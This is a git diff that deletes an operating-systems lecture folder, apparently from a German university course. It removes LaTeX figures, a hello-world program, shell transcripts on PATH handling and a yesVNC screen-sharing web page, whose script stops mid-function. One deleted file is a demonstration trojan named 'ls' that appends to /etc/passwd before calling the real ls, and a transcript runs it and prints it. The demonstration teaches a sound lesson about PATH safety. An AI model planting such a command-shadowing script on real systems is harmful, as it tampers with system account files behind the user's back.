diff --git a/20210409/bs-20210409-fig1.tex b/20210409/bs-20210409-fig1.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20210409/bs-20210409-fig1.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20210409/bs-20210409-fig2.tex b/20210409/bs-20210409-fig2.tex
deleted file mode 100644
index 0a3f89c7ebdd5d6ac3af00b895ef878d43f8a4f0..0000000000000000000000000000000000000000
--- a/20210409/bs-20210409-fig2.tex
+++ /dev/null
@@ -1,11 +0,0 @@
-\documentclass{article}
-\input tmp.inputs
-\pagestyle{empty}
-\begin{document}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    
-\end{document}
diff --git a/20210409/hello.c b/20210409/hello.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20210409/hello.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210409/ls b/20210409/ls
deleted file mode 100755
index bcd0818450af6f9403c5644591c930be2d63242d..0000000000000000000000000000000000000000
--- a/20210409/ls
+++ /dev/null
@@ -1,2 +0,0 @@
-echo "Fiese Dinge" >> /etc/passwd
-/bin/ls "$@"
diff --git a/20210409/pathfinder.jpg b/20210409/pathfinder.jpg
deleted file mode 120000
index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000
--- a/20210409/pathfinder.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20210409/philosophenproblem.jpg b/20210409/philosophenproblem.jpg
deleted file mode 120000
index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000
--- a/20210409/philosophenproblem.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20210409/shell-variables-1.txt b/20210409/shell-variables-1.txt
deleted file mode 100644
index 0a5e0fe7047043f87deaae38767afb9b9413effa..0000000000000000000000000000000000000000
--- a/20210409/shell-variables-1.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210409> t="ls -lrt"
-cassini/home/peter/bo/2021ss/bs/20210409> $t
-insgesamt 3012
-lrwxrwxrwx 1 peter peter      32 Apr 17  2016 philosophenproblem.jpg -> ../common/philosophenproblem.jpg
-lrwxrwxrwx 1 peter peter      24 Apr 17  2016 pathfinder.jpg -> ../common/pathfinder.jpg
-lrwxrwxrwx 1 peter peter      43 Apr 17  2016 Operating_system_placement-de.pdf -> ../common/Operating_system_placement-de.pdf
-lrwxrwxrwx 1 peter peter      36 Apr 17  2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf
-lrwxrwxrwx 1 peter peter      45 Apr 17  2016 logo-hochschule-bochum-cvh-text.pdf -> ../common/logo-hochschule-bochum-cvh-text.pdf
-lrwxrwxrwx 1 peter peter      22 Apr 13  2018 pgslides.sty -> ../common/pgslides.sty
--rw-r--r-- 1 peter peter   49866 Feb 15 16:38 yesvnc-wc-6.html
--rw-r--r-- 1 peter peter   19082 Apr  9 11:14 unix-20210409.tex
--rw-r--r-- 1 peter peter  149551 Apr  9 11:14 unix-20210409.pdf
--rw-r--r-- 1 peter peter   41934 Apr  9 12:08 bs-20210409.tex
--rw-r--r-- 1 peter peter     196 Apr  9 12:08 tmp.inputs
--rw-r--r-- 1 peter peter     340 Apr  9 12:08 bs-20210409-fig1.tex
--rw-r--r-- 1 peter peter     340 Apr  9 12:08 bs-20210409-fig2.tex
--rw-r--r-- 1 peter peter    5374 Apr  9 12:08 bs-20210409.vrb
--rw-r--r-- 1 peter peter     722 Apr  9 12:08 bs-20210409.toc
--rw-r--r-- 1 peter peter       0 Apr  9 12:08 bs-20210409.snm
--rw-r--r-- 1 peter peter     704 Apr  9 12:08 bs-20210409.out
--rw-r--r-- 1 peter peter    4733 Apr  9 12:08 bs-20210409.nav
--rw-r--r-- 1 peter peter    7882 Apr  9 12:08 bs-20210409.aux
--rw-r--r-- 1 peter peter 2691461 Apr  9 12:08 bs-20210409.pdf
--rw-r--r-- 1 peter peter   69148 Apr  9 12:08 bs-20210409.log
--rw-r--r-- 1 peter peter     939 Apr  9 13:11 projekte.txt
diff --git a/20210409/shell-variables-2.txt b/20210409/shell-variables-2.txt
deleted file mode 100644
index f69a0e9ac0c2319f55a19626ccc192bef74477c3..0000000000000000000000000000000000000000
--- a/20210409/shell-variables-2.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210409> echo $PATH
-/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
-cassini/home/peter/bo/2021ss/bs/20210409> which ls
-/bin/ls
-cassini/home/peter/bo/2021ss/bs/20210409> ls
-bs-20210409.aux       bs-20210409.toc                      philosophenproblem.jpg
-bs-20210409-fig1.tex  bs-20210409.vrb                      projekte.txt
-bs-20210409-fig2.tex  hello                                shell-variables-1.txt
-bs-20210409.log       hello.c                              tmp.inputs
-bs-20210409.nav       logo-hochschule-bochum-cvh-text.pdf  unix-20210409.pdf
-bs-20210409.out       logo-hochschule-bochum.pdf           unix-20210409.tex
-bs-20210409.pdf       Operating_system_placement-de.pdf    yesvnc-wc-6.html
-bs-20210409.snm       pathfinder.jpg
-bs-20210409.tex       pgslides.sty
-cassini/home/peter/bo/2021ss/bs/20210409> hello
-bash: hello: Kommando nicht gefunden.
-cassini/home/peter/bo/2021ss/bs/20210409> ./hello
-Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210409> /home/peter/bo/2021ss/bs/20210409/hello
-Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210409> PATH=".:$PATH"
-cassini/home/peter/bo/2021ss/bs/20210409> echo $PATH
-.:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
-cassini/home/peter/bo/2021ss/bs/20210409> hello
-Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210409>
diff --git a/20210409/shell-variables-3.txt b/20210409/shell-variables-3.txt
deleted file mode 100644
index 48d7663c0c30af96d6381cd7551cf75e145e8c85..0000000000000000000000000000000000000000
--- a/20210409/shell-variables-3.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210409> ls
-./ls: Zeile 1: /etc/passwd: Keine Berechtigung
-bs-20210409.aux       bs-20210409.toc                      pgslides.sty
-bs-20210409-fig1.tex  bs-20210409.vrb                      philosophenproblem.jpg
-bs-20210409-fig2.tex  hello                                projekte.txt
-bs-20210409.log       hello.c                              shell-variables-1.txt
-bs-20210409.nav       logo-hochschule-bochum-cvh-text.pdf  shell-variables-2.txt
-bs-20210409.out       logo-hochschule-bochum.pdf           tmp.inputs
-bs-20210409.pdf       ls                                   unix-20210409.pdf
-bs-20210409.snm       Operating_system_placement-de.pdf    unix-20210409.tex
-bs-20210409.tex       pathfinder.jpg                       yesvnc-wc-6.html
-cassini/home/peter/bo/2021ss/bs/20210409> cat ls
-echo "Fiese Dinge" >> /etc/passwd
-/bin/ls "$@"
diff --git a/20210409/yesvnc-wc-6.html b/20210409/yesvnc-wc-6.html
deleted file mode 100644
index e039f5ca712a2ae9526ec112428ef7b8ea74a997..0000000000000000000000000000000000000000
--- a/20210409/yesvnc-wc-6.html
+++ /dev/null
@@ -1,1282 +0,0 @@
-<!doctype html public "-//W3C//DTD HTML 4.0 Strict//EN">
-<html>
-  <head>
-    <meta http-equiv="Content-Type" content="text/html; charset=utf8">
-    <title>yesVNC Web Connector</title>
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <meta charset="utf-8">
-    <link rel="stylesheet" href="stylesheets/yesvnc-wc.css" type="text/css">
-  </head>
-  <body>
-    <main class="main">
-      <header class="main__header">
-        <h2 class="main__header-title">yesVNC Web Connector</h2>
-        <h3 id="room-indicator" class="main__header-subtitle">
-          Channel&nbsp;6
-        </h3>
-      </header>
-      <hr class="main__seperator" />
-      <div id="preview-section" class="hidden">
-        <div id="preview-container">
-          <video id="video" style="display: none;" autoplay></video>
-          <canvas id="canvas0" style="display:none;"></canvas>
-          <canvas class="preview" id="canvas1"></canvas>
-        </div>
-        <hr class="main__seperator" />
-      </div>
-      <div class="main__controls">
-        <button id="start">Start</button>
-        <button id="stop" disabled>Stop</button>
-      </div>
-    </main>
-    <script>
-
-      const debugging = 0;
-
-      const combine_rects_x_min_distance = 24;
-      const combine_rects_y_min_distance = 4;
-
-      const scroll_detection_x_min = -64;
-      const scroll_detection_x_max = 64;
-      const scroll_detection_y_min = -64;
-      const scroll_detection_y_max = 64;
-      const scroll_detection_r_max = 16;
-      const scroll_detection_min_width = 256;
-      const scroll_detection_min_height = 256;
-      const scroll_detection_min_stripe_width = 16;
-      const scroll_detection_min_stripe_height = 16;
-      const scroll_detection_point_divisor = 1024;
-      const scroll_detection_length_divisor = 8;
-      const scroll_detection_same_color_threshold = 0.995;
-      const scroll_detection_hit_threshold = 0.995;
-
-      let video = document.getElementById ("video");
-      const canvas0 = document.getElementById ("canvas0");
-      const canvas1 = document.getElementById ("canvas1");
-      let ctx0 = undefined;
-      let ctx1 = undefined;
-
-      function hideElement (el)
-      {
-        el.classList.add ('hidden');
-      }
-
-      function showElement (el)
-      {
-        el.classList.remove ('hidden');
-      }
-
-      const displayMediaOptions = { video: { cursor: "always" }, audio: false };
-
-      async function startCapture ()
-      {
-        video.srcObject = await navigator.mediaDevices.getDisplayMedia (displayMediaOptions);
-        showElement (document.getElementById ('preview-section'));
-      }
-
-      function stopCapture (evt)
-      {
-        hideElement (document.getElementById ('preview-section'));
-        let tracks = video.srcObject.getTracks ();
-        tracks.forEach (
-          function (track)
-          {
-            track.stop ();
-          });
-        video.srcObject = null;
-      }
-
-      const startButton = document.getElementById ("start");
-      const stopButton = document.getElementById ("stop");
-
-      startButton.addEventListener ("click",
-        function (evt)
-        {
-          startCapture ();
-          startButton.setAttribute ('disabled', '');
-          stopButton.removeAttribute ('disabled');
-        },
-        false);
-
-      stopButton.addEventListener ("click",
-        function (evt)
-        {
-          stopCapture ();
-          start.removeAttribute ('disabled');
-          stopButton.setAttribute ('disabled', '');
-          window.location.reload();
-        },
-        false);
-
-      let socket = undefined;
-
-      function buf2hex (buffer)
-      {
-        const b = new Uint8Array (buffer);
-        const hexdump = Array.prototype.map.call (b,
-          function (x)
-          {
-            return ("00" + x.toString (16)).slice (-2);
-          }).join (" ");
-        return hexdump + " (" + buffer.byteLength.toString ()
-                       + (buffer.byteLength == 1 ? " byte)" : " bytes)");
-      }
-
-      let wScreen = 0;
-      let hScreen = 0;
-
-      const rfb_padding = 0;
-      const rfb_encoding_raw = 0;
-      const rfb_encoding_copyrect = 1;
-      const rfb_encoding_rre = 2;
-      const rfb_encoding_tight = 7;
-      const rfb_name = "wc:6";
-      const rfb_name_length = rfb_name.length;
-
-      class Rect
-      {
-        constructor (x, y, w, h, encoding)
-        {
-          this.x = x;
-          this.y = y;
-          this.w = w;
-          this.h = h;
-          this.encoding = encoding;
-        }
-
-        send ()
-        {
-          const buffer = new ArrayBuffer (12);
-          const b = new Uint8Array (buffer);
-          b[0] = this.x >>> 8;
-          b[1] = this.x & 0xff;
-          b[2] = this.y >>> 8;
-          b[3] = this.y & 0xff;
-          b[4] = this.w >>> 8;
-          b[5] = this.w & 0xff;
-          b[6] = this.h >>> 8;
-          b[7] = this.h & 0xff;
-          b[8] = this.encoding >>> 24
-          b[9] = (this.encoding >>> 16) & 0xff;
-          b[10] = (this.encoding >>> 8) & 0xff;
-          b[11] = this.encoding & 0xff;
-          if (debugging)
-            console.log ("sending Rect object: " + buf2hex (buffer));
-          socket.send (buffer);
-        }
-      }
-
-      class RawRect extends Rect
-      {
-        constructor (x, y, w, h, data)
-        {
-          super (x, y, w, h, rfb_encoding_raw);
-          this.data = data;
-        }
-
-        send ()
-        {
-          super.send ();
-          if (debugging)
-            console.log ("sending RawRect object data (" + this.data.byteLength.toString () + " pixel bytes)");
-          socket.send (this.data);
-        }
-      }
-
-      class ScrollRect extends Rect
-      {
-        constructor (x, y, w, h, dx, dy)
-        {
-          super (x, y, w, h, rfb_encoding_copyrect);
-          this.dx = dx;
-          this.dy = dy;
-        }
-
-        send ()
-        {
-          super.send ();
-          const buffer = new ArrayBuffer (4);
-          const b = new Uint8Array (buffer);
-          b[0] = this.dx >>> 8;
-          b[1] = this.dx & 0xff;
-          b[2] = this.dy >>> 8;
-          b[3] = this.dy & 0xff;
-          if (debugging)
-            console.log ("sending ScrollRect object: " + buf2hex (buffer));
-          socket.send (buffer);
-        }
-      }
-
-      class SolidRect extends Rect
-      {
-        constructor (x, y, w, h, color)
-        {
-          super (x, y, w, h, rfb_encoding_rre);
-          this.color = color;
-        }
-
-        send ()
-        {
-          super.send ();
-          const buffer = new ArrayBuffer (8);
-          const b = new Uint8Array (buffer);
-          b[0] = 0;  // number of sub-rectangles
-          b[1] = 0;
-          b[2] = 0;
-          b[3] = 0;
-          b[4] = this.color >>> 16;
-          b[5] = (this.color >>> 8) & 0xff;
-          b[6] = this.color & 0xff;
-          b[7] = rfb_padding;
-          if (debugging)
-            console.log ("sending SolidRect object: " + buf2hex (buffer));
-          socket.send (buffer);
-        }
-      }
-
-      class TightRect extends Rect
-      {
-        constructor (x, y, w, h, data)
-        {
-          super (x, y, w, h, rfb_encoding_tight);
-          this.data = data;
-        }
-
-        send ()
-        {
-          super.send ();
-          const data_length = this.data.byteLength;
-          let data_length_length = undefined;
-          if (data_length <= 0x7f)
-            data_length_length = 1;
-          else if (data_length <= 0x3fff)
-            data_length_length = 2;
-          else
-            data_length_length = 3;
-          const buffer = new ArrayBuffer (1 + data_length_length);
-          const b = new Uint8Array (buffer);
-          b[0] = 0x90; // Tight-JPEG
-          if (data_length <= 0x7f)
-            b[1] = data_length & 0x7f;
-          else if (data_length <= 0x3fff)
-            {
-              b[1] = (data_length & 0x7f) | 0x80;
-              b[2] = (data_length & 0x3f80) >>> 7;
-            }
-          else
-            {
-              b[1] = (data_length & 0x7f) | 0x80;
-              b[2] = ((data_length & 0x3f80) >>> 7) | 0x80;
-              b[3] = (data_length & 0x3fc000) >>> 14;
-            }
-          if (debugging)
-            console.log ("sending TightRect object header: " + buf2hex (buffer));
-          socket.send (buffer);
-          if (debugging)
-            console.log ("sending TightRect object data (" + data_length.toString () + " pixel bytes)");
-          socket.send (this.data);
-        }
-      }
-
-      let rects = new Array ();
-
-      class ScrollParams
-      {
-        constructor (x, y, w, h, dx, dy)
-        {
-          this.x = x;
-          this.y = y;
-          this.w = w;
-          this.h = h;
-          this.dx = dx;
-          this.dy = dy;
-        }
-      }
-
-      let scrollRects = new Array ();
-
-      let rfb_bits_per_pixel = 32;
-      let rfb_depth = 24;
-      let rfb_big_endian_flag = 0;
-      let rfb_true_color_flag = 1;
-      let rfb_red_maximum = 255;
-      let rfb_green_maximum = 255;
-      let rfb_blue_maximum = 255;
-      let rfb_red_shift = 24;
-      let rfb_green_shift = 16;
-      let rfb_blue_shift = 8;
-
-      let isFirstFrame = 1;
-      let processing = 0;
-      const rfb_aborted = 42;
-
-      function fillRectBuffer (px, x, y, w, h, color)
-      {
-        for (let yy = 0; yy < h; yy++)
-          {
-            let o = (y + yy) * wScreen + x;
-            for (let xx = 0; xx < w; xx++)
-              px[o++] = color;
-          }
-      }
-
-      function scrollRectBuffer (px, x, y, w, h, dx, dy)
-      {
-        const ww = w - Math.abs (dx);
-        const hh = h - Math.abs (dy);
-        const do0 = dy > 0 ? -wScreen : wScreen;
-        let o10 = (dy > 0 ? y + h - 1 : y) * wScreen + (dx > 0 ? x + w - 1 : x);
-        let o00 = ((dy > 0 ? y + h - 1 : y) - dy) * wScreen + (dx > 0 ? x + w - 1 : x) - dx;
-        for (let i = 0; i < hh; i++)
-          {
-            o1 = o10;
-            o0 = o00;
-            if (dx > 0)
-              for (let j = 0; j < ww; j++)
-                px[o1--] = px[o0--];
-            else
-              for (let j = 0; j < ww; j++)
-                px[o1++] = px[o0++];
-            o10 += do0;
-            o00 += do0;
-          }
-      }
-
-      function sleep (delay)
-      {
-        return new Promise (
-          function (resolve)
-          {
-            setTimeout (resolve, delay)
-          });
-      }
-
-      function canvasToBlob (canvas, type, options)
-      {
-        return new Promise (
-          function (resolve)
-          {
-            canvas.toBlob (resolve, type, options);
-          });
-      }
-
-      function pushRectRaw (x, y, w, h)
-      {
-        const data_length = w * h * 4;
-        const buffer = new ArrayBuffer (data_length);
-        const b = new Uint8Array (buffer);
-        const id1 = ctx1.getImageData (x, y, w, h);
-        const px1 = new Uint8Array (id1.data.buffer);
-        let bo = 0;
-        let po = 0;
-        for (let yy = 0; yy < h; yy++)
-          for (let xx = 0; xx < w; xx++)
-            {
-              b[bo + 0] = px1[po + 2];
-              b[bo + 1] = px1[po + 1];
-              b[bo + 2] = px1[po + 0];
-              b[bo + 3] = rfb_padding;
-              bo += 4;
-              po += 4;
-            }
-        if (debugging)
-          console.log ("storing RawRect (" + data_length.toString () + " pixel bytes)");
-        rects.push (new RawRect (x, y, w, h, buffer));
-      }
-
-      function pushRectScroll (x, y, w, h, dx, dy)
-      {
-        if (debugging)
-          console.log ("storing ScrollRect");
-        rects.push (new ScrollRect (x, y, w, h, dx, dy));
-      }
-
-      function pushRectSolid (x, y, w, h, color)
-      {
-        if (debugging)
-          console.log ("storing SolidRect");
-        rects.push (new SolidRect (x, y, w, h, color));
-      }
-
-      async function pushRectTight (x, y, w, h)
-      {
-        if (debugging)
-          console.log ("pushRectTight: x = " + x.toString () + ", y = " + y.toString () + ", w = " + w.toString () + ", h = " + h.toString ());
-        let canvas = undefined;
-        if (x == 0 && y == 0 && w == wScreen && h == hScreen)
-          canvas = canvas1;
-        else
-          {
-            canvas = document.createElement ('canvas');
-            canvas.width = w;
-            canvas.height = h;
-            canvas.getContext ('2d').drawImage (canvas1, -x, -y);
-          }
-        // if (debugging)
-        //   console.log ("calling canvasToBlob()");
-        const blob = await canvasToBlob (canvas, "image/jpeg");
-        // if (debugging)
-        //   console.log ("calling blob.arrayBuffer()");
-        const jpeg_buffer = await blob.arrayBuffer ();
-        // if (debugging)
-        //   console.log ("storing TightRect (" + jpeg_buffer.byteLength.toString () + " instead of " + (w * h * 4).toString () + " pixel bytes)");
-        rects.push (new TightRect (x, y, w, h, jpeg_buffer));
-      }
-
-      function detectScrolling (px0, px1, x, y, w, h)
-      {
-        if (debugging)
-          console.log ("scrolling: detection started");
-        const pixels = w * h;
-        const points = Math.floor (pixels / scroll_detection_point_divisor);
-        const qxBuffer = new ArrayBuffer (2 * points);
-        const qx = new Uint16Array (qxBuffer);
-        const qyBuffer = new ArrayBuffer (2 * points);
-        const qy = new Uint16Array (qyBuffer);
-        const qc1Buffer = new ArrayBuffer (4 * points);
-        const qc1 = new Uint32Array (qc1Buffer);
-        const qc0Buffer = new ArrayBuffer (4 * points);
-        const qc0 = new Uint32Array (qc0Buffer);
-        for (let i = 0; i < points; i++)
-          {
-            const p = Math.floor (Math.random () * pixels);
-            // I lost a whole day to find out that p / w is a floating point division,
-            // which causes crazy things to happen when we use yy as an array index.
-            // I hate JavaScript. -- PG 20201222
-            const yy = Math.floor (p / w);
-            const xx = p % w;
-            const o = (y + yy) * wScreen + x + xx;
-            qy[i] = yy;
-            qx[i] = xx;
-            qc1[i] = px1[o];
-            qc0[i] = px0[o];
-          }
-        const xDensityBuffer = new ArrayBuffer (2 * w);
-        const xDensity = new Uint16Array (xDensityBuffer);
-        const yDensityBuffer = new ArrayBuffer (2 * h);
-        const yDensity = new Uint16Array (yDensityBuffer);
-        for (let xx = 0; xx < w; xx++)
-          {
-            xDensity[xx] = 0;
-            for (let i = 0; i < points; i++)
-              if (qx[i] < xx && qc1[i] != qc0[i])
-                xDensity[xx]++;
-          }
-        const lx = Math.floor (w / scroll_detection_length_divisor);
-        const halflx = Math.floor (lx / 2);
-        const averageDensity = Math.floor (xDensity[w - 1] / scroll_detection_length_divisor);
-        if (debugging)
-          console.log ("scrolling: averageDensity =", averageDensity);
-        let x0 = 0;
-        while (x0 + lx < w)
-          {
-            while (x0 + lx < w && xDensity[x0 + lx] - xDensity[x0] < averageDensity)
-              x0++;
-            let x1 = x0;
-            while (x1 + lx < w && xDensity[x1 + lx] - xDensity[x1] >= averageDensity)
-              x1++;
-            if (x1 - x0 >= scroll_detection_min_stripe_width)
-              {
-                if (debugging)
-                  console.log ("scrolling: vertical stripe:", x0 + halflx, x1 - x0);
-                for (let yy = 0; yy < h; yy++)
-                  {
-                    yDensity[yy] = 0;
-                    for (let i = 0; i < points; i++)
-                      if (qy[i] < yy && qc1[i] != qc0[i] && qx[i] >= x0 && qx[i] < x1)
-                        yDensity[yy]++;
-
-                  }
-                const ly = Math.floor (h / scroll_detection_length_divisor);
-                const halfly = Math.floor (ly / 2);
-                const averageDensity = Math.floor (yDensity[h - 1] / scroll_detection_length_divisor);
-                if (debugging)
-                  console.log ("scrolling: averageDensity =", averageDensity);
-                let y0 = 0;
-                while (y0 + ly < h)
-                  {
-                    while (y0 + ly < h && yDensity[y0 + ly] - yDensity[y0] < averageDensity)
-                      y0++;
-                    let y1 = y0;
-                    while (y1 + ly < h && yDensity[y1 + ly] - yDensity[y1] >= averageDensity)
-                      y1++;
-                    if (y1 - y0 >= scroll_detection_min_stripe_height)
-                      {
-                        if (debugging)
-                          console.log ("scrolling: horizontal stripe:", y0 + halfly, y1 - y0);
-                        let sx = x0 + halflx;
-                        let sy = y0 + halfly;
-                        let sw = x1 - x0;
-                        let sh = y1 - y0;
-                        if (debugging)
-                          {
-                            console.log ("scrolling: checking area:", sx, sy, sw, sh);
-                            console.log ("scrolling: " + scrollRects.length.toString () + " rects");
-                          }
-                        const redundant = scrollRects.find (
-                          function (r)
-                          {
-                            if (debugging)
-                              console.log ("scrolling: checking rect", sx, sy, sw, sh, "against", r.x, r.y, r.w, r.h, r.dx, r.dy);
-                            if (sx + sw <= r.x || sx >= r.x + r.w)
-                              return 0;
-                            else if (sy + sh <= r.y || sy >= r.y + r.h)
-                              return 0;
-                            else
-                              {
-                                if (debugging)
-                                  console.log ("scrolling: new rect", sx, sy, sw, sh, "is redundant with", r.x, r.y, r.w, r.h, r.dx, r.dy);
-                                return 1;
-                              }
-                          });
-                        if (!redundant)
-                          {
-                            const color = new Array;
-                            for (let i = 0; i < points; i++)
-                              if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh)
-                                color.push (qc1[i]);
-                            const points_inside = color.length;
-                            color.sort (
-                              function (a, b)
-                              {
-                                return a - b;
-                              });
-                            let color_abundance = 1;
-                            let i0 = 0;
-                            let i1 = 1;
-                            while (i1 < points_inside)
-                              {
-                                if (color[i1] != color[i0])
-                                  {
-                                    const a = i1 - i0;
-                                    if (a > color_abundance)
-                                      {
-                                        color_abundance = a;
-                                        i0 = i1;
-                                      }
-                                  }
-                                i1++
-                              }
-                            const a = i1 - i0;
-                            if (a > color_abundance)
-                              color_abundance = a;
-                            if (debugging)
-                              console.log ("scrolling: color_abundance = " + color_abundance.toString () + ", points_inside = " + points_inside.toString ()
-                                           + ", threshold = " + (points_inside * scroll_detection_same_color_threshold).toString ());
-                            if (color_abundance < points_inside * scroll_detection_same_color_threshold)
-                              {
-                                let min_mishits = points_inside;
-                                let sdx = 0;
-                                let sdy = 0;
-                                // We intentionally include the case dx == dy == 0.
-                                // Without this, we get false positives where unchanged content
-                                // is scrolled by 1 pixel because the "repair" after the scrolling
-                                // is minimal.
-                                for (let dy = scroll_detection_y_max; dy >= scroll_detection_y_min && min_mishits > 0; dy--)
-                                  for (let dx = scroll_detection_x_max; dx >= scroll_detection_x_min && min_mishits > 0; dx--)
-                                    if ((dx == 0 || dy == 0 || dx * dx + dy * dy < scroll_detection_r_max * scroll_detection_r_max))
-                                      {
-                                        let i = 0;
-                                        let mishits = 0;
-                                        while (i < points && mishits < min_mishits)
-                                          {
-                                            if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh)
-                                              {
-                                                const o0 = (y + qy[i] - dy) * wScreen + x + qx[i] - dx;
-                                                if (o0 >= 0 && o0 < pixels && qc1[i] != px0[o0])
-                                                  mishits++;
-//                                                if (i < 10)
-//                                                  console.log ("scrolling: point:", qx[i], qy[i], "rect:", sx, sx + sw, sy, sy + sh,
-//                                                               "o0, px:", o0, qc1[i], px0[o0]);
-                                              }
-                                            i++;
-                                          }
-                                        if (mishits < min_mishits)
-                                          {
-                                            min_mishits = mishits;
-                                            sdx = dx;
-                                            sdy = dy;
-                                          }
-                                      if (debugging)
-                                        console.log ("scrolling: dx = " + dx.toString () + ", dy = " + dy.toString ()
-                                                     + ", mishits = " + mishits.toString () + ", points_inside = " + points_inside.toString ());
-                                      }
-                                if (debugging)
-                                  console.log ("scrolling: sdx = " + sdx.toString () + ", sdy = " + sdy.toString ()
-                                               + ", min_mishits = " + min_mishits.toString () + ", points_inside = " + points_inside.toString ());
-                                if (min_mishits < points_inside * (1 - scroll_detection_hit_threshold))
-                                  {
-                                    if (debugging)
-                                      console.log ("scrolling: expanding rect:", sx, sy, sw, sh, sdx, sdy);
-                                    let xx = sx - 1;
-                                    let scrollable = 1;
-                                    while (xx > 0 && scrollable)
-                                      {
-                                        let yy = sy;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (yy < sy + sh)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            yy++;
-                                            o1 += wScreen;
-                                            o0 += wScreen;
-                                          }
-                                        if (scrollable_points < sh * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        xx--;
-                                      }
-                                    if (!scrollable)
-                                      sx = xx + 1;
-                                    else
-                                      sx = xx;
-                                    xx = sx + sw;
-                                    scrollable = 1;
-                                    while (xx < w && scrollable)
-                                      {
-                                        let yy = sy;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (yy < sy + sh)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            yy++;
-                                            o1 += wScreen;
-                                            o0 += wScreen;
-                                          }
-                                        if (scrollable_points < sh * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        xx++;
-                                      }
-                                    if (!scrollable)
-                                      sw = xx - sx - 1;
-                                    else
-                                      sw = xx - sx;
-                                    let yy = sy - 1;
-                                    scrollable = 1;
-                                    while (yy > 0 && scrollable)
-                                      {
-                                        let xx = sx;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (xx < sx + sw)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            xx++;
-                                            o1++;
-                                            o0++;
-                                          }
-                                        if (scrollable_points < sw * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        yy--;
-                                      }
-                                    if (!scrollable)
-                                      sy = yy + 1;
-                                    else
-                                      sy = yy;
-                                    yy = sy + sh;
-                                    scrollable = 1;
-                                    while (yy < h && scrollable)
-                                      {
-                                        let xx = sx;
-                                        let scrollable_points = 0;
-                                        let o1 = (y + yy) * wScreen + x + xx;
-                                        let o0 = (y + yy - sdy) * wScreen + x + xx - sdx;
-                                        while (xx < sx + sw)
-                                          {
-                                            if (px1[o1] == px0[o0])
-                                              scrollable_points++;
-                                            xx++;
-                                            o1++;
-                                            o0++;
-                                          }
-                                        if (scrollable_points < sw * scroll_detection_hit_threshold)
-                                          scrollable = 0;
-                                        yy++;
-                                      }
-                                    if (!scrollable)
-                                      sh = yy - sy - 1;
-                                    else
-                                      sh = yy - sy;
-//                                    if (debugging)
-                                      console.log ("scrolling: pushing rect:", sx, sy, sw, sh, sdx, sdy);
-                                    scrollRects.forEach (
-                                      function (r)
-                                      {
-                                        if (!(sx + sw <= r.x || sx >= r.x + r.w || sy + sh <= r.y || sy >= r.y + r.h))
-                                          {
-                                            if (debugging)
-                                              console.log ("scrolling: neutralizing redundant rect:", r.x, r.y, r.w, r.h, r.dx, r.dy);
-                                            r.dx = 0;
-                                            r.dy = 0;
-                                          }
-                                      });
-                                    scrollRects.push (new ScrollParams (sx, sy, sw, sh, sdx, sdy));
-                                  }
-                              }
-                          }
-                      }
-                    y0 = y1;
-                  }
-              }
-            x0 = x1;
-          }
-        scrollRects.forEach (
-          function (r)
-          {
-            if (r.dx != 0 || r.dy != 0)
-              {
-                const adx = Math.abs (r.dx);
